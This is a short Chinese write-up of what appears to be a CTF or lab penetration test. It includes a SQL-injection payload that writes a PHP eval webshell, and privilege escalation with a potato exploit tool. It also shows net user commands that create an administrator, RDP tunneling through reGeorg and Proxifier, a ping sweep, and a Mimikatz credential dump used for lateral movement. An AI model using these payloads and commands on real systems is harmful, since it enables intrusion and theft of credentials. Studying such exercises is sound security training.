进入页面
测试发现SQL注入,利用语句写入一句话木马:
?id=1%20 union select 1,'<?php eval($_REQUEST[8])?>'%20 into dumpfile 'C:/phpStudy/WWW/8.php'
执行whoami命令,发现权限为test:
并且主机是个windows系统:
权限低,想办法提权:
1.MySQL和apache2的开启权限不一定一样,可以利用MySQL提权
2.不同的web容器
3.利用系统漏洞提权
这里采用第三种方法。使用查看Windows的补丁漏洞网站 提权辅助网页 Windows提权辅助
输入命令:
systeminfo
把补丁信息贴进去查询:
往下可以寻找相应的CVE漏洞并且直接使用工具:
这里利用烂土豆工具(Windows提权工具):
上传这个可执行工具:
使用方法:
1.exe -p “命令”
成功看到是系统权限
附上一些添加和查看用户的命令:
net user (查看用户)
net user 用户名 密码 /add (添加用户)
net localgroup administrators 用户名 /add (赋予用户管理员权限)
先尝试加一个管理员的账号密码:
成功创建用户,接下来赋予这个用户管理员权限:
查看目标机端口开放情况:
发现3389远程桌面连接端口是开放的,可是我们如果直接连接会发现是一个Windows2003的服务主机。可是我们渗透的明明是Windows2008R2的主机。
3389默认是远程桌面服务
这里的问题就是端口映射了,目标机的3389端口在公网的映射端口并不是3389
这样有三种情况:
1.3389服务没开(本次环境是已经开启了,如果没开,我们权限的高也可以给他开起来)
2.3389端口不映射在公网上
3.3389端口没扫到
如果3389端口没有映射,除了拿下目标连接的路由器,还有一种方法:自己连接自己
如何做到?使用PHP发送网络请求
通过我们拿下的webshell
,利用PHP和主机通信。如何实现:
第一步:上传一个发送数据的php文件:📎tunnel.nosocket.php
并把名字随便改一个。
访问后,如果有这样的回显说明成功:
现在需要在本地起一个py监听端口脚本,py脚本会把这个端口的数据给php脚本,php脚本向目标主机发送请求:
于此同时,我们需要一个代理软件来帮我们把py的数据给PHP
本地起一个py(reGeorg)
但是我们需要一个代理帮我们把本地的mstsc.exe发送到py,然后py再把数据发送到PHP。
这里使用proxifier
添加一个:
把本地数据发送到10086端口
添加一个如图的代理规则:
总的流程图就是:
这样子就相当于10086端口在目标主机的服务器的内网中了,可以直接连接本地(直接连接内网地址)
账户密码就是我们刚才创建的,至此,成功拿下目标服务器:
那如何通过这台主机拿到其他内网里面的服务器的机子呢?
首先探测同一个内网的存活:(尽量不用上传的nc)
for /l %i in (1,1,255) do @ping 10.0.1.%i -w 1 -n 1|find /i "ttl="
利用这个命令探活IP:
10.0.1.8
10.0.1.10
但是连接这两个IP也需要密码。那么有没有可能这个密码是相同的,因为都在同一个内网中,管理员可能是同一人。那么如何获取密码呢
使用猕猴桃,成功抓到密码:
log (历史命令都会生成一个log)
privilege::debug (提示权限)
sekurlsa::logonpasswords (获取当前账户的账号密码)
再连接10.0.1.8:
成功拿到flag
上课不能看手机,闲着无聊写的小总结: